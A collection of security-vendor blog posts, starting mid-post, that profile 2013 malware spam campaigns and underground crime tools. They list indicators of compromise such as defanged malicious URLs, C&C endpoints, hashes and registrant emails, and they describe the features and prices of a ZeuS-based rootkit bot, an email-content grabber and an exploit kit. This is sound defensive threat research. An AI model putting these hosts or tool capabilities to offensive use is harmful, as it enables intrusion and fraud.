And the following Registry Values: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> KB00121600.exe = ""%AppData%KB00121600.exe""*

As well as the following Mutexes: *LocalXMM000003F8 LocalXMI000003F8 LocalXMRFB119394 LocalXMM000005E4 LocalXMI000005E4 LocalXMM0000009C LocalXMI0000009C LocalXMM000000C8 LocalXMI000000C8*

It then phones back to **212.68.63.82:8080/AJtw/UCyqrDAA/Ud+asDAA/**

We've alrady seen the same pseudo-random C&C communication characters used in the following previously profiled campaigns, indicating that these campaigns are related:

'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit 'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side exploits and malware Fake Intuit 'Direct Deposit Service Informer' themed emails lead to Black Hole Exploit Kit Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals resume spamvertising 'Re: Fwd: Wire Transfer' themed emails, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the last couple of days, a cybercricriminal/gang of cybercriminals that we've been **extensively profiling** , resumed spamvertising tens of thousands of emails, in an attempt to trick users that they have a **pending wire transfer** . Once users click on any of the links found in the malicious emails, they're exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised spamvertised URLs: *hxxp://afdoor.com/loading.htm hxxp://directproducts.co.zw/loading.htm hxxp://deto.es/loading.htm hxxp://sulfilmmga.com.br/loading.htm hxxp://redboxi.com/loading.htm hxxp://sulfilmmga.com.br/loading.htm hxxp://misann.es.kr/loading.htm*

Sample client-side exploits serving URL: *hxxp://gimikalno.ru:8080/forum/links/column.php*

Sample malicious payload dropping URL: *hxxp://gimikalno.ru:8080/forum/links/column.php?hf=2w:1l:1l:2v:1f&ye=2v:1k:1m:32:33:1k:1k:31:1j:1o&s=1k&td=r&xj=f*

Upon successful client-side exploitation, the campaign drops **MD5: 93a104caf7b01de69614498de5cf870a** – detected by 2 out of 45 antivirus scanners as Trojan.FakeMS

Once executed, the sample creates the following files on the affected hosts: *C:Documents and SettingsAdministratorApplication DataKB00635017.exe*

C:DOCUME~1ADMINI~1LOCALS~1Tempexp8.tmp.bat C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:DOCUME~1ADMINI~1LOCALS~1Tempexp9.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:DOCUME~1ADMINI~1LOCALS~1TempexpA.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1TempexpB.tmp.bat

It also creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

Sets the following Registry Values: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> KB00121600.exe = ""%AppData%KB00121600.exe""*

It then creates the following Mutexes: *LocalXMM00000418 LocalXMI00000418 LocalXMRFB119394 LocalXMM000005E4 LocalXMI000005E4 LocalXMM0000009C LocalXMI0000009C LocalXMM000000C8 LocalXMI000000C8*

And phones back to: *149.156.96.9/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 72.251.206.90/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 202.29.5.195:8080/DPNilBA/ue1elBAAAA/tISHAAAAA/ 213.214.74.5/AJtw/UCyqrDAA/Ud+asDAA/*

We've already seen **213.214.74.5** in the following previously profiled campaigns, indicating that they've been launched by the same party:

'Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit Spamvertised BBB 'Your Accreditation Terminated" themed emails lead to Black Hole Exploit Kit

Malicious domain name reconnaissance: gimikalno.ru – 66.249.23.64; 94.102.14.239; 5.9.40.136
Name Servers: **ns1.gimikalno.ru** 41.168.5.140
Name Servers: **ns2.gimikalno.ru** 110.164.58.250 (**nangrong.ac.th**)
Name Servers: **ns3.gimikalno.ru** 210.71.250.131 **(tecom.com.tw**)
Name Servers: **ns4.gimikalno.ru** 194.249.217.8 (**gimnazija-tolmin1.si**)
Name Servers: **ns5.gimikalno.ru** 72.251.206.90

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New ZeuS source code based rootkit available for purchase on the underground market - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

We have recently spotted a new underground market ad, featuring a new commercially available malware bot+rootkit based on the ZeuS crimeware's leaked source code. According to its author, the modular nature of the bot, allows him to keep coming up with new plugins, resulting in systematic "innovation" and the introduction of new features.

What's the long-term potential of this malware bot with rootkit functionality? Does it have the capacity to challenge the market leading malware bot families? What are some of the features that differentiate it from the rest of competing bots currently in the wild? What's the price of the bot, and what are the prices for the separate plugins available for purchase? Let's find out.

More details:

According to the bot's author, all the command and control communications between the malware infected host and the C&C infrastructure are digitally signed (2048 bits), ensuring that only the botnet's original owner, the one possessing the private key, can control the aggregated botnet. What's particularly interesting about the bot is that it also includes a **Domain Generation Algorithm (DGA)** , next to a rootkit functionality described in the following (translated from Russian) way:

The bot has a powerful rootkit functionality. The rootkit is presented as a driver, which is the process of protecting your data and if they change / remove the actual binary. It allows you to hide files on the disk, the branches in the registry, inject dll in a separate process and in all, provides a gateway through which the user applications can get a list of processes currently loaded kernel modules, terminate any process, to hide the list of dll modules loaded process.

The malware bot also offers the ability for a cybercriminal to issue specific commands, like dropping a third-party piece of malicious code or using geolocation to only affect particular countries, regions, or cities. It also allows the cybercriminal to set intervals for C&C communication which can reduce the load on the C&C infrastructure and make detecting the malicious communication more difficult. According to the bot's author, the rootkit functionality that he offers remains undetected by all the major antivirus vendors on the market. The bot supports Windows 2003/XP/Windows 7, but is not supporting x64 bit systems due to the way the rootkit works.

What about the currently available plugins and their prices? For the time being, the bot is compatible with the following plugins available as separate modules, which can be purchased individually. Naturally, the communication between the C&C infrastructure and the plugins is encrypted as well.

DDoS module – price $350 – the number of tasks/goals is unlimited, and so is the number of threads, the interval between sending packets, and the actual packet size. For the time being the module supports HTTP (GET), UDP and ICMP type of flooding techniques, plus it allows the cybercriminal using it to change these settings on the fly.

Socks 4/5 module – price $120 – the plugin allows the cybercriminal behind the botnet, to easily **convert the malware-infected hosts into anonymization proxies** , a rather common module found within a lot of competing malware bots. The author of the bot also allows his customers to either specify the port of the Socks server, or the bot will choose one by random.

HOSTS File Modifier module – price $50 – the plugin does what its title says. It's worth emphasizing on the fact that in 2013, cybercriminals still attempt to exploit this noisy vector and abuse it for achieving their fraudulent objectives.

Back Connect Hosts module – price $380 – yet another standard plugin available in competing malware bots, allowing the cybercriminals to connect and abuse hosts behind a NAT.

Sample screenshot of the ZeuS source code based rootkit:

Second screenshot of the ZeuS source code based rootkit:

Third screenshot of the ZeuS source code based rootkit:

Fourth screenshot of the ZeuS source code based rootkit:

Fifth screenshot of the ZeuS source code based rootkit:

Sixth screenshot of the ZeuS source code based rootkit:

Seventh screenshot of the ZeuS source code based rootkit:

Eight screenshot of the ZeuS source code based rootkit:

Ninth screenshot of the ZeuS source code based rootkit:

The bot's control panel is written in PHP using MySQL, and all the interactions with the admin panel are encrypted. Once executed, the rootkit is only available in the memory of the infected host, and no "physical" copy of it can be found on the affected host. The ZeuS source code based rootkit also encrypts the actual reports, so that even in case someone gains access to the C&C, the feature will prevent them from seeing the generated reports.

What about the price of the bot? $1,300 without the modules, or $1,500 for the modified ZeuS bot with rootkit functionality. It's also worth emphasizing on the fact that the modified ZeuS bot is only sold with the rootkit. When a customer purchases this malicious underground market release, he gets a user's manual including screenshots of how to use it, a video demonstration of the installation process, info on how to create digital signatures in order to control and secure the botnet, and finally a program for creating the actual signatures.

The author is trying to "play by the book" and is forwarding the responsibility for the logical fraudulent abuse of this release to the actual buyer, as the License Agreement explicitly says that the tool is meant to be used for testing the security of their own systems. How can you buy this underground market release? Interestingly enough, its author is only available for a chat on Sundays from 10:00 A.M, Moscow time. From Russia with "love", that's for sure.

We'll continue monitoring the development of this rootkit+malware bot, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised BBB 'Your Accreditation Terminated" themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Over the past week, a cybercriminal/gang of cybercriminals whose activities we've been actively profiling over a significant period of time, launched two separate massive spam campaigns, this time impersonating the **Better Business Bureau (BBB)** , in an attempt to trick users into thinking that their BBB accreditation has been terminated.

Once users click on any of the links found in the malicious emails, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the first BBB themed spamvertised campaign:

Sample screenshot of the second BBB themed spamvertised campaign:

Sample spamvertised compromised URLs: *hxxp://paltashaco.com/templates/beez/bbb_termacr.html hxxp://ogr.kuzstu.ru/templates/beez/bbb_termacr.html hxxp://proba.ts6.ru/templates/beez/bbb_termacr.html hxxp://bpconstructores.com/templates/beez/bbb_termacr.html hxxp://mozyrproject.by/templates/beez/bbb_termacr.html hxxp://bpconstructores.com/templates/beez/bbb_termacr.html hxxp://bz-soft.com.ua/templates/beez/bbb_termacr.html hxxp://www.texasspec.com/abortd_bbb.html hxxp://www.thecrusaders.co.nz/abortd_bbb.html*

Sample client-side exploits serving URLs: *hxxp://bbb-complaint.org/kill/establishment-wide_causes-widest.php* ; *hxxp://bbb-accredited.net/kill/enjoy-laws-partially-unwanted.php*

Sample malicious payload dropping URL: *hxxp://bbb-complaint.org/kill/establishment-wide_causes-widest.php?dkcj=1n:33:2v:1l:1h&abqiksds=3i&rfquxhnq=32:2v:1k:30:1n:1h:33:1o:2v:32&vkcakj=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Malicious domain names reconnaissance: bbb-complaint.org – 63.141.224.171; 149.154.68.214; 155.239.247.247 – Email: gonumina1@dbzmail.com
Name Server: **NS1.STREETCRY.NET** – 93.186.171.133 – Email: webclipradio@aol.com
Name Server: **NS2.STREETCRY.NET** – 15.214.13.118 – Email: webclipradio@aol.com

bbb-accredited.net – not responding

Responding to 149.154.68.214 are also the following malicious domains: *fab73.ru misharauto.ru secureaction120.com* – 149.154.68.214; 155.239.247.247; 141.0.176.234 – Email: markovochn@yandex.ru
secureaction150.com – 149.154.68.214; 155.239.247.247; 141.0.176.234 – Email: markovochn@yandex.ru
iberiti.com – 149.154.68.214; 155.239.247.247; 141.0.176.234 – Email: biedermann@iberiti.com
notsk.com – 149.154.68.214; 155.239.247.247; 141.0.176.234 – Email: jenifer@notsk.com
metalcrew.net – 149.154.68.214; 155.239.247.247; 141.0.176.234 – Email: heffner@metalcrew.net
roadix.net – 149.154.68.214; 155.239.247.247; 141.0.176.234 – Email: marunga@roadix.net
gatovskiedelishki.ru – 149.154.68.214; 155.239.247.247; 141.0.176.234
conbicormiks.ru

Name servers used in the campaign: Name Server: **NS1.STREETCRY.NET** – 93.186.171.133 – Email: webclipradio@aol.com
Name Server: **NS2.STREETCRY.NET** – 15.214.13.118 – Email: webclipradio@aol.com
Name Server: **NS1.E-ELEVES.NET** – 173.208.88.196
Name Server: **NS1.E-ELEVES.NE** T – 43.109.79.23

Name Server: **NS1.LETSGOFIT.NET** – 173.208.88.196 – Email: weryrebel@live.com
Name Server: **NS1.LETSGOFIT.NET** – 11.3.51.158 – Email: weryrebel@live.com
Name Server: **NS1.BLACKRAGNAROK.NET** – 209.140.18.37 – Email: onetoo@gmx.com
Name Server: **NS2.BLACKRAGNAROK.NET** – 6.20.13.25 – Email: onetoo@gmx.com
Name Server: **NS1.OUTBOUNDUK.NET** Name Server: **NS2.OUTBOUNDUK.NET**

Not surprisingly, we've already seen the onetoo@gmx.com email in the following previously profiled malicious campaign – "**Malicious 'Data Processing Service' ACH File ID themed emails serve client-side exploits and malware** ".

Upon successful client-side exploitation, a sampled campaign drops: **MD5: 126a104f260cb0059b901c6a23767d76** – detected by 19 out of 46 antivirus scanners as
Worm:Win32/Cridex.E

Once executed, the sample stores the following modified files: *C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1Tempexp8.tmp.bat C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:DOCUME~1ADMINI~1LOCALS~1Tempexp9.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:DOCUME~1ADMINI~1LOCALS~1TempexpA.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[2].txt C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1TempexpB.tmp.bat*

It also creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

And the following Registry Value: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> KB00121600.exe = ""%AppData%KB00121600.exe""*

It then creates the following Mutexes: *LocalXMM000003F8 LocalXMI000003F8 LocalXMRFB119394 LocalXMM000005D4 LocalXMI000005D4 LocalXMM000005E8 LocalXMI000005E8 LocalXMM000000C8 LocalXMI000000C8 LocalXMM0000014C LocalXMI0000014C*

And phones back to the following command and control (C&C) servers: *213.214.74.5:8080/AJtw/UCyqrDAA/Ud+asDAA/ 194.97.99.120/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 109.168.106.162/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 203.114.112.156/asp/intro.php*

We've already seen **213.214.74.5** in the following previously profiled malicious campaign -'**Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit** ". As well as **203.114.112.156** , seen in the following assessment "**Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side exploits and malware** ".

As for the pseudo-random characters used in the C&C communication (**UCyqrDAA/Ud+asDAA/**), we've also seen them in the following previously profiled campaigns, indicating that these campaigns have been launched by the same cybercriminal/gang of cybercriminals.

'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit 'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit Fake 'You've blocked/disabled your Facebook account' themed emails serve

client-side exploits and malware Fake Intuit 'Direct Deposit Service Informer' themed emails lead to Black Hole Exploit Kit Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake BofA CashPro 'Online Digital Certificate" themed emails lead to malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Over the past 24 hours, we intercepted tens of thousands of malicious emails attempting to socially engineer **BofA's CashPro** users into downloading and executing a bogus online digital certificate attached to the fake emails.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: **MD5: bfe7c4846823174cbcbb10de9daf426b** – detected by 34 out of 46 antivirus scanners as Password-Stealer.

The attachment uses the following naming convention: *cashpro_cert_7585cc6726.zip cashpro_cert_cc1d4a119071.zip*

Once extracted, the malicious executable masks its name with the following convention: *CASHPRO_CERT_ID_57645789264873462839452386452983746289378942736485285239056 25-23652659235-235-235-2352352375623724634782384528354823548234823462 87548.CRT.EXE*

Once executed, the sample creates the following Registry Key: *HKEY_CURRENT_USERSoftwareWinRAR*

And sets the following Registry Value: *HWID = 7B 39 35 39 37 36 32 38 46 2D 37 38 37 38 2D 34 33 41 31 2D 38 43 45 41 2D 32 41 43 43 32 33 44 39 36 32 39 45 7D*

It then attempts to connect to **74.207.227.67** ; **17.optimaxmagnetics.us** , and successfully establishes a connection with the C&C server at **50.28.90.36:8080/forum/viewtopic.php**

More MD5s are known to have phoned back to the same IP: **MD5: 4C46DC410268C19DD561DB92BD52D02D** – *50.28.90.36:8080/ponyb/gate.php* **MD5: 5F0084494777BC4F76F6919E284C6AA9** – *50.28.90.36:8080/forum/viewtopic.php* **MD5: 6E360ACA1BE5569A681832DF8B16F320** – *50.28.90.36:8080/forum/viewtopic.php*

50.28.90.36 responds to **host.elenskids.com** . What's particularly interesting about this host is that it's the official Web site of **Elen's Kids Modeling & Talent Management** (operated by **LANFusion LLC**), who appear to be running an advance fee type of **fraudulent scheme** , according to several complaints about their activities.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Commercial Steam 'information harvester/mass group inviter' could lead to targeted fraudulent campaigns - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Despite the fact that the one-to-many type of malicious campaign continues dominating the threat landscape, cybercriminals are constantly looking for new ways to better tailor their campaigns to the needs, wants, and demands of potential customers. Utilizing basic marketing concepts such as **localization** , **market segmentation** , as well as personalization, today's sophisticated cybercriminals would never choose to exclusively specialize in **one-to-many** or one-to-one marketing communication strategies. Instead, they will multitask in an attempt to cover as many market segments as possible.

In this post, I'll emphasize on a targeted attacks potentially **affecting Steams' users** , thanks to the commercial availability of a **DIY (do it yourself)** Steam 'information harvester/mass group inviter' tool, currently available at multiple cybercrime-friendly online communities. What's so special about the application? How would cybercriminals potentially use it to achieve their fraudulent objectives? How much does it cost? Is the author/vendor of the application offering access to its features as a managed service?

Let's find out.

Sample screenshot of the DIY Steam 'information harvester/mass group inviter' tool:

As you can see in the attached screenshot, given a working Steam Group URL, the tool will automatically process the associated user names, Steam IDs, service registration date, installed games, average play time, as well as last login time – all with a click of a button.

Once a cybercriminal has gathered this data, they can easily initiate a mass invite to a fraudulent/malicious Steam Group. The social engineering potential opportunities here are virtually limitless, as the tool can successfully harvest “installed games”, potentially allowing a cybercriminal to better describe a fraudulent Steam Group in an attempt to appear more legitamite.

Possible fraudulent scenarios:

Harvesting of, for instance, German user details, followed by a localized invitation to a localized to German Steam Group, in an attempt to gain access to PCs belonging to German users only
Harvesting of user data belonging to users who have installed, for instance, “Call of Duty – Modern Warfare 3” in an attempt to offer them a discount for related first person shooters, never released before “patches”, mods, or community support if they click on a malware and client-side exploits serving link, or leave their email in order to participate in a non-existent competition with a randomly selected winner

What about the price? The tool is currently available for 590 rubles ($19.26). What’s also worth emphasizing on is that, cybercriminals can still use the tool even if the don’t buy a licence for it, through the managed service offered by its author. For 80 rubles ($2.61), the author will send1,000 Steam Group invites on your behalf, and for 130 rubles ($4.24), he’ll only send those invites to Steam users who are online, in an attempt to increase the probability of a successful participant, by leveraging the momentum of the real-time invitation.

Although we’re currently not aware of any live fraudulent Steam Groups, we advise Steam users to be extra vigilant for suspicious group invitations, promising them discounts, bonus items, free games, mods, or anything that a gamer would possibly want.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New DIY unsigned malicious Java applet generating tool spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Just as we anticipated on numerous occassions in our series of blog posts exploring the emerging **DIY (do it yourself)** trend within the cybercrime ecosystem, novice cybercriminals continue attempting to steal market share from market leaders, in order for them to either gain credibility within a particular cybercrime-friendly community, or secure a revenue stream.

Throughout 2012, we've witnessed the emergence of both, publicly obtainable, and commercially available, **DIY unsigned Java applet generators** . Largely relying on social engineering thanks to their built-in feature allowing them to "clone" any given Web site, these tools remain a popular attack vector in the arsenal of the less sophisticated cybercriminal, looking for ways to build his very own botnet.

In this post, I'll profile one of the most recently released DIY tools.

More details:

Sample screenshot of the tool's builder:

Second screenshot of the tool's builder in action:

The tool allows a novice cybercriminal to create a "clone" of any given Web site. Just enter the exact URL of the malicious binary to be used, the page where the user will be redirected once he's compromised and the tool does the rest. The tool also includes the ability to choose a custom file name.

Since it's available for free, the DIY tool profiled in this post is an average cybercriminal's attempt to earn credibility within the ecosystem, which he'd later on probably monetize by releasing a commercial version of the tool. In its current form, the tool looks like the job of less technically sophisticated cybercriminal, compared to the author of the **malicious Java applet distribution platform** that we profiled in January, 2013.

Although experienced users would never trust an unsigned Java applet, it's worth emphasizing on the risks associated with executing such an applet.

Security tip: Just because an application or **a Java applet** is signed, it doesn't necessarily mean that it's not **malicious** .

According to Oracle , unsigned Java applets can perform the following actions on a user's host:

They can make network connections to the host they came from They can easily display HTML documents using the showDocument method of the java.applet.AppletContext class They can invoke public methods of other applets on the same page Applets that are loaded from the local file system (from a directory in the user's CLASSPATH) have none of the restrictions that applets loaded over the network do They can read secure system properties. See System Properties for a list of secure system properties They can open, read, and save files on the client They can access the shared system-wide clipboard They can access printing functions They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP API for more information about developing applets by using the JNLP API

Things can get even worse considering the fact that, a huge percentage of end users would consider any kind of Java applet, whether signed or not, an obstacle on their way to gain access to, for instance, free adult content, or a few hundred dollars entry bonus in a bogus online casino. There are numerous clever social engineering techinques one could leverage to create additional scenariors capable of exploiting users.

We'll continue monitoring this emerging underground trend, and post updates as soon as new products and services get released.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New DIY hacked email account content grabbing tool facilitates cyber espionage on a mass scale - Webroot Blog

facebook linkedin twitter

What would an average cybercriminal do if he had access to tens of thousands of compromised email accounts? He'd probably start **outsourcing the CAPTCHA solving process** , in an attempt to hijack the IP reputation of both Domain Keys verified and trusted domains of all major free Web based email service providers.

What about sophisticated attackers wanting to conduct cyber espionage on a mass scale, in an efficient and anonymous — think **malware-infected hosts as stepping stones** — way? As of early 2013, those willing to pay the modest price of 3000 rubles ($97.47), can get access to a command line DIY tool that's specifically designed for this purpose – automatic, anonymous and efficient data mining combined with compromised email account content grabbing.

Let's profile the DIY tool, feature screenshots of the tool in action, and discuss its potential in the context of utilizing **OSINT through botnets** .

More details:

What the script does is fairly simple, yet the consequences of using it on a mass scale can empower a pragmatic cybercriminal with invaluable amounts of intellectual property. By utilizing the IMAP protocol, the command line tool allows a cybercriminal to apply a diversified set of filters for automatic extracting of a hacked email account's content, including sent/received attachments, emails containing passwords for any service, and most interestingly, it allows a cybercriminal to gain access to this data by using a malware-infected host as a stepping stone, in this case, a Socks server.

The current version of the tool supports GMail, Yahoo! Mail, Me.com, AOL.com, Mail.com, Mail.ru, Rambler.ru, Yander.ru, Qip.ru, but naturally, can work on any server given a working mail server address and a port. As a bonus, potential buyers will also receive sample .bat and .vbs scripts helping them automate the process even further.

Sample screenshot of the output of content grabbed from a compromised email account:

Sample screenshot of automatically extracted .rar attachments from a compromised GMail account:

Sample screenshot demonstrating the efficiency-centered command line tool in action:

It's a public secret that employees don't just bring their own device to the workplace these days, but also, periodically forward work related intellectual property to their private Web hosted email accounts. Thanks to this fact, a potential cyber spy could easily purchase access to hundreds of thousands of compromised email accounts obtained through data mining a botnet's infected population, to later on once again data mine the actual content of the infected population's email communications.

And although the concept used as a foundation for this command line tool is nothing new, we anticipate that the cybercriminal behind it will receive a flood of customer orders, mostly from novice cybercriminals looking for ways to acquire valuable intellectual property, and later on monetize it.

Users are advised to monitor their email account activity logs for suspicions activity and to ensure that they access their email account from a malware-free host. Also, make sure to active two-factor authentication when available.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Segmented Russian "spam leads" offered for sale - Webroot Blog

facebook linkedin twitter

What is the Russian underground up to when it comes to ‘spear phishing’ attacks? How prevalent is the tactic among Russian cybercriminals? What “data acquisition tactics” do they rely on, and just how sophisticated are their “data mining” capabilities?

Let’s find out by emphasizing on a recent underground market advertisement offering access to data which can greatly improve the click-through rate for a spear phishing campaign. The irony? It’s being pitched as “spam leads”.

More details:

Sample screenshot of the Russian “spam leads” offered for sale:

Second screenshot of the Russian “spam leads” offered for sale:

Third screenshot of the Russian “spam leads” offered for sale:

The “spam leads” include market sector, market segment, type of company, city, full name of the company, postal address, fax, phone number, email, Skype, web site, as well as the GPS coordinates.

Consider going through the following posts to get the “big picture” on how the spam ecosystem really works – **Millions of harvested emails offered for sale** ; **Millions of harvested U.S government and U.S military email addresses offered for sale** ; **New DIY email harvester released in the wild** ; **A peek inside a managed spam service** ; **Mobile spammers release DIY phone number harvesting tool**

While the seller is (thankfully) not aware of the true underground market potential of their harvested/compromised/fraudulent opt-in type of data, others are, and will definitely take advantage of the fact that such a database is currently offered for sale. It’s also worth discussing some of the most popular “data acquisition tactics” that cybercriminals rely on when selling such type of data.

There are several tactics a cybercriminal can leverage to gain access to this type of data:

Fraudulent opt-in offers – this concept is fairly simple – your company receives an email about possible inclusion in **a fake business directory** , but must either pay for it first (advance fee fraud element) or sign a contract which allows the scammers to legally re-bill the company. Cybercriminals behind these attacks leverage collected data to launch spear-phishing attacks, targeting thousands of companies across the globe.
Hacked databases – in terms of quality data nothing compares to **the “value” of a hacked database** . Users entrust sensitive and personal details to the service maintaining it, and it is therefore a gold mine for potential spear phishing campaigns if compromised.
Harvest publicly obtainable data by outsourcing the CAPTCHA-solving process – In 2013, CAPTCHA is dead! **Low-waged CAPTCHA solvers in developing countries killed it** . Keeping this in mind, it shouldn’t be surprising that money mule recruiters actively harvest data from job/career web sites; and other cybercriminals are doing exactly the same while targeting legitimate Web properties that exclusively rely on CAPTCHA to prevent such types of automatic abuse.

We advise users to be extra cautions before trusting an email offer that knows too much about you. This includes emails sent from trusted friends. Protect yourself by following up through alerting your friends and/or the abused service or company if you suspect foul play.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals release new Java exploits centered exploit kit - Webroot Blog

facebook linkedin twitter

Yesterday, a relatively unknown group of cybercriminals publicly announced the availability of a new Web malware exploitation kit. What's so special about it is the fact that its current version is entirely based on Java exploits (**CVE-2012-1723** and **CVE-2013-0431** **)** , naturally, with "more exploits to be introduced any time soon".

Let's take a peek at the statistics and infection rates produced by this kit, as well as discuss its potential, or lack thereof, to cause widespread damage to endpoints internationally.

More details:

Sample screenshot of the statistics page of the newly released Web malware exploitation kit:

The majority of affected users are U.S.-based hosts, and the majority of infected operating systems are Windows NT 6.1, followed by Windows XP. As you can see, according to the cybercriminals pitching the kit, they've also managed to infect some Mac OS X hosts. The overall infection rate for the campaign was 9.5%, a pretty low one taking into consideration the fact that competing Web malware exploitation kits tend to exploit a much more diversified set of client-side vulnerabilities, consequently, achieving higher exploitation rates.

How is the kit differentiating itself from the competition? Is it "innovating", or is it basically yet another "me too" exploitation kit?

For the time being, customers can choose whether they want to manually rotate the client-side exploits serving domains/IPs, or whether they'd want the cybercriminals selling the kit to do it for them as a managed service. Customers of the exploit kit will also receive notifications one their domains start getting detected by security vendors, through the Domain Check service. Naturally, the cybercriminals behind the exploit kit are outsourcing the entire process instead of building the capability in-house. Also, for the time being, the exploit kit can only be rented on bullet proof servers operated by the cybercriminals pitching it, but if customers want to use it on their own servers, they would have to personally request this from the vendor.

The price for renting the exploit kit? $40 for 24 hours, $150 for a week, $450 for a month.

